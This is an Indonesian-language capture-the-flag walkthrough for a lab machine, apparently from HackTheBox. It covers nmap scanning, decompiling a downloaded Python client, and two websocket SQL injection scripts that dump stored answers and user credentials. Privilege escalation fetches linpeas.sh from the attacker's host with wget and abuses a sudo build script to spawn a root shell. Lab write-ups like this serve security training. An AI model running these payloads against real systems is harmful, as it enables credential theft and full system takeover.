Saya akan langsung ke intinya dengan yang satu ini.

IP: 10.129.191.94

Nmap:

sudo nmap -p- -T4 -vvv 10.129.191.94

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
5789/tcp open  unknown syn-ack ttl 63
sudo nmap -p22,80,5789 -vvv -sCV -A 10.129.191.94

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
5789/tcp open  unknown syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines, GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 20:03:24 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 20:03:25 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   Help, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 20:03:42 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|_    Failed to open a WebSocket connection: did not receive a valid HTTP request.

Kami memiliki Websocket di port 5789

Kami menjalankan alat untuk menghitung soket web di latar belakang, sementara kami melanjutkan dengan pencacahan lainnya.

https://github.com/PalindromeLabs/STEWS

python3 STEWS-vuln-detect.py -4 -n -u 10.129.191.94:5789

      
                

                    
                    
                
            

Peramban

Situs web menghasilkan kode qr dan juga memungkinkan kami mengunduh program untuk windows dan linux.

Unduh dan rekayasa balik menggunakan salah satu alat favorit Anda. Ini beberapa untuk dipilih

https://github.com/zrax/pycdc

https://github.com/rocky/python-uncompyle6

https://github.com/greyblue9/unpyc37-3.10

Setelah selesai, Anda akan menemukan kerentanan di bagian kode ini.

Skrip Python

from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.3" UNION SELECT group_concat(answer),"2","3","4" FROM answers;-- -'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.3" UNION SELECT username,password,"3","4" from users;-- -'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

Masuk SSH dan dapatkan benderanya.

Eskalasi

Menjalankan linpeas.sh memberi kita beberapa hal untuk dijelajahi

wget http://10.10.14.78:8000/linpeas.sh

      
                

                    
                    
                
            

echo 'import os;os.system("/bin/bash")' > /tmp/file.spec; sudo /usr/local/sbin/build-installer.sh build /tmp/file.spec